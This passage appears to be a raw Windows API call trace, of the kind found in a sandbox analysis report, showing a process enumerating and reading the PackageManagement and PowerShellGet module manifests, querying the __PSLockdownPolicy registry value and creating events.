ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401ab0 [0170.280] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.281] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.281] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.281] FindClose (in: hFindFile=0x401ab0 | out: hFindFile=0x401ab0) returned 1 [0170.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0170.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0170.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b8) returned 1 [0170.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb7c | out: lpFileInformation=0x5a2eb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b4) returned 1 [0170.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.337] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8dc) returned 1 [0170.338] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25d6c50 | out: lpFileInformation=0x25d6c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d8) returned 1 [0170.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea44) returned 1 [0170.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0170.348] GetFileType (hFile=0x3dc) returned 0x1 [0170.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea40) returned 1 [0170.349] GetFileType (hFile=0x3dc) returned 0x1 [0170.349] GetACP () returned 0x4e4 [0170.364] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x0 [0170.364] ReadFile (in: hFile=0x3dc, lpBuffer=0x25d7f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25d7f28*, lpNumberOfBytesRead=0x5a2eaac*=0x8f9, lpOverlapped=0x0) returned 1 [0170.367] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x8f9 [0170.367] ReadFile (in: hFile=0x3dc, lpBuffer=0x25d73b5, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25d73b5*, lpNumberOfBytesRead=0x5a2eaac*=0x0, lpOverlapped=0x0) returned 1 [0170.367] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x8f9 [0170.368] ReadFile (in: hFile=0x3dc, lpBuffer=0x25d7f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25d7f28*, lpNumberOfBytesRead=0x5a2eaac*=0x0, lpOverlapped=0x0) returned 1 [0170.368] CloseHandle (hObject=0x3dc) returned 1 [0170.590] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.590] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.590] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.591] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.591] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.591] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0170.591] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.592] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.592] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401ab0 [0170.593] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.593] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.593] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.593] FindClose (in: hFindFile=0x401ab0 | out: hFindFile=0x401ab0) returned 1 [0170.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0170.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0170.594] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.594] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b8) returned 1 [0170.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb7c | out: lpFileInformation=0x5a2eb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b4) returned 1 [0170.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.609] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8dc) returned 1 [0170.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25e6c48 | out: lpFileInformation=0x25e6c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d8) returned 1 [0170.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea44) returned 1 [0170.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3fc [0170.611] GetFileType (hFile=0x3fc) returned 0x1 [0170.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea40) returned 1 [0170.611] GetFileType (hFile=0x3fc) returned 0x1 [0170.612] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x0 [0170.612] ReadFile (in: hFile=0x3fc, lpBuffer=0x25e7a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25e7a20*, lpNumberOfBytesRead=0x5a2eaac*=0x1000, lpOverlapped=0x0) returned 1 [0170.627] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x1000 [0170.627] ReadFile (in: hFile=0x3fc, lpBuffer=0x25e7a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25e7a20*, lpNumberOfBytesRead=0x5a2eaac*=0xde, lpOverlapped=0x0) returned 1 [0170.627] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x10de [0170.627] ReadFile (in: hFile=0x3fc, lpBuffer=0x25e7a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x25e7a20*, lpNumberOfBytesRead=0x5a2eaac*=0x0, lpOverlapped=0x0) returned 1 [0170.628] CloseHandle (hObject=0x3fc) returned 1 [0170.635] CoCreateGuid (in: pguid=0x5a2eaec | out: pguid=0x5a2eaec*(Data1=0xc9cd13ff, Data2=0x90fa, Data3=0x41be, Data4=([0]=0xa4, [1]=0xbf, [2]=0xa3, [3]=0xc3, [4]=0xad, [5]=0xa9, [6]=0x5, [7]=0x38))) returned 0x0 [0170.716] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3fc [0170.717] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x404 [0170.718] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0170.718] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0170.718] SetEvent (hEvent=0x40c) returned 1 [0170.718] SetEvent (hEvent=0x3fc) returned 1 [0170.718] SetEvent (hEvent=0x404) returned 1 [0170.719] SetEvent (hEvent=0x408) returned 1 [0170.720] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x410 [0170.721] SetThreadUILanguage (LangId=0x0) returned 0x409 [0171.026] EtwEventActivityIdControl () returned 0x0 [0171.026] EtwEventActivityIdControl () returned 0x0 [0171.026] EtwEventActivityIdControl () returned 0x0 [0171.149] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0171.211] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.211] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.211] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e424, Length=0x20, ResultLength=0x5a2e494 | out: SystemInformation=0x5a2e424, ResultLength=0x5a2e494*=0x0) returned 0xc0000003 [0171.211] GetSystemInfo (in: lpSystemInfo=0x5a2e4a0 | out: lpSystemInfo=0x5a2e4a0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.212] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e430 | out: phkResult=0x5a2e430*=0x414) returned 0x0 [0171.212] RegQueryValueExW (in: hKey=0x414, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e44c, lpData=0x0, lpcbData=0x5a2e448*=0x0 | out: lpType=0x5a2e44c*=0x0, lpData=0x0, lpcbData=0x5a2e448*=0x0) returned 0x2 [0171.212] RegCloseKey (hKey=0x414) returned 0x0 [0171.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3a8) returned 1 [0171.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414 [0171.221] GetFileType (hFile=0x414) returned 0x1 [0171.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e3a4) returned 1 [0171.221] GetFileType (hFile=0x414) returned 0x1 [0171.221] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e3e4*=0) returned 0x0 [0171.221] ReadFile (in: hFile=0x414, lpBuffer=0x260b038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e410, lpOverlapped=0x0 | out: lpBuffer=0x260b038*, lpNumberOfBytesRead=0x5a2e410*=0x1000, lpOverlapped=0x0) returned 1 [0171.222] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e3e4*=0) returned 0x1000 [0171.222] ReadFile (in: hFile=0x414, lpBuffer=0x260b038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e410, lpOverlapped=0x0 | out: lpBuffer=0x260b038*, lpNumberOfBytesRead=0x5a2e410*=0xde, lpOverlapped=0x0) returned 1 [0171.222] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e3e4*=0) returned 0x10de [0171.222] ReadFile (in: hFile=0x414, lpBuffer=0x260b038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e410, lpOverlapped=0x0 | out: lpBuffer=0x260b038*, lpNumberOfBytesRead=0x5a2e410*=0x0, lpOverlapped=0x0) returned 1 [0171.222] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e378, Length=0x20, ResultLength=0x5a2e3e8 | out: SystemInformation=0x5a2e378, ResultLength=0x5a2e3e8*=0x0) returned 0xc0000003 [0171.222] GetSystemInfo (in: lpSystemInfo=0x5a2e3f4 | out: lpSystemInfo=0x5a2e3f4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.223] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e384 | out: phkResult=0x5a2e384*=0x418) returned 0x0 [0171.223] RegQueryValueExW (in: hKey=0x418, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e3a0, lpData=0x0, lpcbData=0x5a2e39c*=0x0 | out: lpType=0x5a2e3a0*=0x0, lpData=0x0, lpcbData=0x5a2e39c*=0x0) returned 0x2 [0171.223] RegCloseKey (hKey=0x418) returned 0x0 [0171.223] CloseHandle (hObject=0x414) returned 1 [0171.228] CoCreateGuid (in: 